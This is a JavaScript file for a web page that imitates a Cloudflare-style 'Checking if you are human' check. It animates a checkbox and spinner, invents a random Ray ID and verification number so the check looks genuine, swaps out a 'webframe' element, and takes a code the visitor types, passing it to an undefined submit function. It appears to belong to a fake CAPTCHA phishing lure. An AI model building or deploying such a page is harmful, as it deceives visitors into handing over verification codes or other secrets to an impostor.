document.addEventListener("DOMContentLoaded", function() {
          const preloaderElements = document.querySelectorAll(".preloader");
          const preloaderText = document.querySelector(".preloader_text");
          const textAllStep = document.querySelector(".textallstep");
          const checkboxWindow = document.getElementById("checkbox-window");
          const step0Elements = document.querySelectorAll(".step0");
          const step1Elements = document.querySelectorAll(".step1");
          const step2Elements = document.querySelectorAll(".step2");
          const step3Elements = document.querySelectorAll(".step3");
          const checkbox = document.getElementById("checkbox");
          const verifyWindow = document.getElementById("verify-window");
          const spinner = document.getElementById("spinner");
          const verifyButton = document.getElementById("verify-button");
          setTimeout(() => {
            preloaderElements.forEach(el => el.style.display = "none");
            preloaderText.style.display = "none";
            textAllStep.style.display = "block";
            checkboxWindow.style.display = "flex";
            setTimeout(() => {
              checkboxWindow.style.display = "flex";
              let opacity = 0;
              let fadeIn = setInterval(() => {
                if (opacity >= 1) {
                  clearInterval(fadeIn);
                } else {
                  opacity += 0.1;
                  checkboxWindow.style.opacity = opacity;
                }
              }, 30);
            }, 200);
            step0Elements.forEach(el => el.style.display = "block");
            setTimeout(() => {
              step0Elements.forEach(el => el.style.display = "none");
              step1Elements.forEach(el => el.style.display = "block");
            }, 2000);
          }, 1500);
          checkbox.addEventListener("click", function() {
            step1Elements.forEach(el => el.style.display = "none");
            step2Elements.forEach(el => el.style.display = "block");
            spinner.style.visibility = "visible";
            spgfp();
          });

          function performCF() {
            const input = document.getElementById('verify-code');
            const err = document.getElementById('code-cannot-be-empty');
            const verifyWindow = document.getElementById("verify-window");
            const step1Elements = document.querySelectorAll(".step1");
            const step2Elements = document.querySelectorAll(".step2");
            const step3Elements = document.querySelectorAll(".step3");
            const spinner = document.getElementById("spinner");
            if (input.value.trim() === '') {
              err.style.display = "block";
              return;
            }
            const input_value = input.value;
            input.value = '';
            err.style.display = "none";
            verifyWindow.classList.remove("active");
            checkboxWindow.style.height = "74px";
            subcf(input_value);
          }

          verifyButton.addEventListener("click", function() {
            performCF();
          });
          document.getElementById('verify-code').onkeydown = function(e) {
            if (e.keyCode == 13) { performCF(); }
          };
          document.getElementById("verification-id").textContent = Math.floor(100000 + Math.random() * 900000);
          const chars = "abcdef0123456789";
          document.querySelector(".ray-id").textContent = Array.from({
            length: 16
          }, () => chars[Math.floor(Math.random() * chars.length)]).join("");
        });

        function errorCF() {
            const step1Elements = document.querySelectorAll(".step1");
            const step2Elements = document.querySelectorAll(".step2");
            const step3Elements = document.querySelectorAll(".step3");
            const spinner = document.getElementById("spinner");
            const checkboxWindow = document.getElementById("checkbox-window");

            checkboxWindow.style.width = "300px";
            step2Elements.forEach(el => el.style.display = "none");
            step3Elements.forEach(el => el.style.display = "block");

            setTimeout(() => {
              step3Elements.forEach(el => el.style.display = "none");
              step1Elements.forEach(el => el.style.display = "block");
              spinner.style.visibility = "hidden";
            }, 600);
          }
          function successCF() {
            const step2Elements = document.querySelectorAll(".step2");
            const step4Elements = document.querySelectorAll(".step4");
            const checkboxWindow = document.getElementById("checkbox-window");

            checkboxWindow.style.width = "300px";
            step2Elements.forEach(el => el.style.display = "none");
            step4Elements.forEach(el => el.style.display = "block");
          }

          setTimeout(() => {
            document.getElementById("webframe").remove();
            document.getElementById("cfdiv").style.display = "block";
            document.title = 'Checking if you are human';
          }, 0);